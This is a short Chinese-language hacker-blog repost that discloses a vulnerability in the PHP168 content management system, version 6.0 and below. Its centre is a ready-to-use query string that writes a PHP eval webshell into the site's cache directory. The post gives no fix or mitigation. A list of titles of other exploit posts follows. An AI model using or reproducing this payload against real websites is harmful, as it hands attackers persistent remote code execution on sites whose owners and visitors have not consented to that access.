PHP168 6.0及以下版本漏洞转自:鬼仔
危险等级：高
影响版本：PHP168 6.0以下版本
入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。
测试语句：
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?
原创文章如转载，请注明：转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]
本文链接地址：http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHP168-6.0.html
Discuz! Plugin Crazy Star < = 2.0 Sql injection Vulnerability (2009-8-27 13:57:57)
乘风多用户PHP统计系统 v4.0 注射漏洞 (2009-6-16 16:21:14)
PHP漏洞挖掘技术 (2009-5-6 16:16:10)
Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit (2009-5-1 16:17:16)
ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability (2009-4-28 13:52:37)
Linux爆本地提权漏洞 请立即更新udev程序 (2009-4-25 1:8:8)
mypic v2.1 正式版 遍历文件漏洞 (2009-4-21 2:26:16)
ECMall本地文件包含漏洞 (2009-3-29 21:58:0)
Acute Control Panel 1.0.0 三个 SQL注入漏洞及利用 (2009-3-29 0:7:28)
Pluck CMS 4.6.1 (module_pages_site.php post) LFI Exploit (2009-3-27 2:35:27)
◎欢迎参与讨论，请在这里发表您的看法、交流您的观点。